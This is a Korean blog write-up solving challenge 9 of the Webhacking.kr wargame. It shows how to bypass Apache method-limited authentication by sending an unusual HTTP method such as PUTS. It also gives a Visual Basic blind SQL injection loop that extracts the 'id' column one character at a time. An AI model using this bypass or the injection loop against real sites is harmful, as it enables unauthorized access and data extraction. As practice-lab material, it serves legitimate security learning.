반응형

9번을 풀기위해 문제를 눌러보니

아래 사진과 같이 인증을 해야하네요.


여기서 먼저 알아둬야하는게 있는데요,

먼저 웹페이지의 전송 방법(method)는 여러개가 있습니다.

가장많이 쓰이는게 GET과 POST죠. 일반적으로는 이렇게만 쓰이지만

다른 메소드로는 HEAD,PUTS,OPTIONS,TRACE 등이 있습니다.


저 인증을 우회하려면 apache의 인증 페이지 설정법에서

메소드를 선택해 그 메소드인 경우에 인증창을 띄우는 방법이 있습니다.

그렇다면 우리가 저 인증 페이지를 우회하기 위해서는 메소드를 get나 post대신 puts나 options등을 헤더로 조작해서 보내버리면 인증이 우회됩니다.


아래의 사진은 인증을 우회한 사진입니다.


저기서 3번링크에 힌트가 있는데요.

length = 11

column = id,no

이렇게 있네요. 그렇다면 딱봐도 sql 인젝션 문제네요.

no은 주소창에 num을 통해서 인젝션되니 blind sql injection으로 문제를 풀어보면 되겠네요.


페이로드는 프로그램화 시켰습니다.

- VB


Dim i, k As Integer


        For i = 1 To 50

            For k = 65 To 122

                winhttp.Open("PUTS", "http://webhacking.kr/challenge/web/web-09/index.php?no=if(substr(id," & i & ",1)in(0x" & Hex(k) & "),3,4)")

                winhttp.SetRequestHeader("Cookie", "PHPSESSID=jhlj5u0gvbec5lb35ovftoret1")

                winhttp.SetRequestHeader("Content-Type", "text/html")

                winhttp.Send()


                Label1.Text = i & " : " & Chr(k)


                TextBox1.Text = winhttp.ResponseText


                If (InStr(winhttp.ResponseText, "hint")) Then

                    ListBox1.Items.Add(Chr(k))

                    k = 122

                End If

                Application.DoEvents()

            Next k

            Application.DoEvents()

        Next i


아마 답이 대문자로 나올텐데 소문자로 pw란에 입력하시면 클리어!

'Write up > Wargame' 카테고리의 다른 글

[Webhacking.kr]11번 문제  (0) 2014.10.30
[Webhacking.kr]10번 문제  (0) 2014.10.30
[Webhacking.kr]8번 문제  (0) 2014.10.30
[Webhacking.kr]7번 문제  (0) 2014.10.05
[Webhacking.kr]6번 풀이  (0) 2014.10.05
블로그 이미지

KuroNeko_

KuroNeko

,